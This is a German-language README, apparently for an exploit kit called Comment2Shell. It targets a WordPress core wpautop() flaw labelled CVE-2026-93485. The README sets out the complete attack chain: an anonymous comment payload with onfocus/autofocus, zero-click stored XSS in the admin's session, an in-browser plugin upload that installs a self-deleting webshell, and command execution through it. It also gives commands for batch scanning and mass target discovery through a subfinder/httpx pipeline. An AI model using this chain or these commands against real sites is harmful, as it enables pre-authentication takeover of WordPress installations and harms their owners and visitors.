Zero-Click-Pre-Auth-WordPress-CVE-2026-93485-Exploit-Kette: gespeichertes XSS in wpautop() eskaliert zum Admin-Session-Plugin-Upload und einer selbstlöschenden Webshell, mit Scanner, Shell und Nuclei-Template.
Comment2Shell ist ein End-to-End-Proof-of-Concept für CVE-2026-93485, eine
Pre-Authentication-stored-XSS in WordPress-Core wpautop(), die zu
Remote-Code-Execution innerhalb einer Administrator-Sitzung eskaliert. Ein
anonymer Kommentar platziert die Payload; wenn ein Admin den Beitrag öffnet,
lädt der Browser ein Webshell-Plugin hoch, führt einen Befehl aus und löscht
die Shell wieder. Die gesamte Kette ist eine einzige abhängigkeitsfreie
Python-Datei.
Comment2Shell ist ein Exploit- und Local-Lab-Kit für CVE-2026-93485. Der Bug
steckt in wp-includes/formatting.php, im wpautop()-Absatzfilter, der zur
Anzeigezeit auf Kommentartext angewendet wird. Ein Zeilenumbruch innerhalb
eines blockquote cite-Attributs wird zu einem HTML-Kommentar-Platzhalter;
der Regex, der Blockquotes umschließt, stoppt am ersten > und injiziert
einen Absatz-Tag mitten in das Attribut, den der Browser dann als
onfocus-Handler parst. Das autofocus-Attribut löst ihn zero-click aus.
Das Tool deckt die gesamte Kette ab: einen passiven Versionsscan, eine harmlose XSS-Probe, den vollständigen Pre-Authentication-zu-RCE-Exploit, eine interaktive Shell und eine defensive IOC-Prüfung.
Der Exploit benötigt kein Konto, kein Nonce und keine Interaktion über das Ansehen des Beitrags durch den Admin hinaus. Kommentare müssen lediglich geöffnet sein.
WordPress betreibt einen großen Teil des Webs, und wpautop() ist Core-Code,
sodass der verwundbare Filter auf jeder betroffenen Installation
ausgeliefert wird, unabhängig von Theme oder Plugin. Die XSS ist stored,
pre-authentication und zero-click. Da sie in der Admin-Sitzung ausgeführt
wird, ist sie mehr als ein Defacement-Bug: Das Admin-Cookie genügt, um ein
Plugin zu installieren, und eine Plugin-Installation bedeutet beliebige
Codeausführung.
Der Fix wurde in WordPress 7.1.1 mit Backports über 25 Branches bis hinunter zu 4.7.36 ausgeliefert. Jede Version von 4.7.0 bis 7.1.0 ist betroffen.
Kontrollierter Lab-Lauf gegen WordPress 7.1.0: Ein anonymer Kommentar
platziert die Payload, das Öffnen des Beitrags durch den Admin löst die
Zero-Click-Kette aus, die Webshell wird hochgeladen, die Befehlsausgabe
kommt zurück, und die Shell löscht sich selbst. Der Browser-Tab-Titel
meldet das Ergebnis, entweder Comment2Shell: shell uploaded oder
Comment2Shell: admin login required. Die genaue Vorgehensweise steht in
docker/README.md.
Comment2Shell beansprucht nicht die Entdeckung der Schwachstelle. Sie wurde von Rafie Muhammad (Awesome Motive) über das HackerOne-WordPress-Programm gemeldet und in 7.1.1 behoben. Der Beitrag hier ist eine reproduzierbare, abhängigkeitsfreie Implementierung der vollständigen Kette:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Nur Python 3.8+ Standardbibliothek, kein pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
Jedes Ergebnisobjekt enthält diese Felder:
| Feld | Bedeutung |
|---|---|
target | die normalisierte Ziel-URL |
wordpress | true, wenn WordPress erkannt wurde |
version | die erkannte Version oder null |
version_method | wie die Version gefunden wurde, zum Beispiel meta oder readme |
vulnerable | true, false oder null, wenn die Version unbekannt ist |
post_id | eine kommentierbare Post-ID oder null |
error | eine Fehlerzeichenkette oder null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example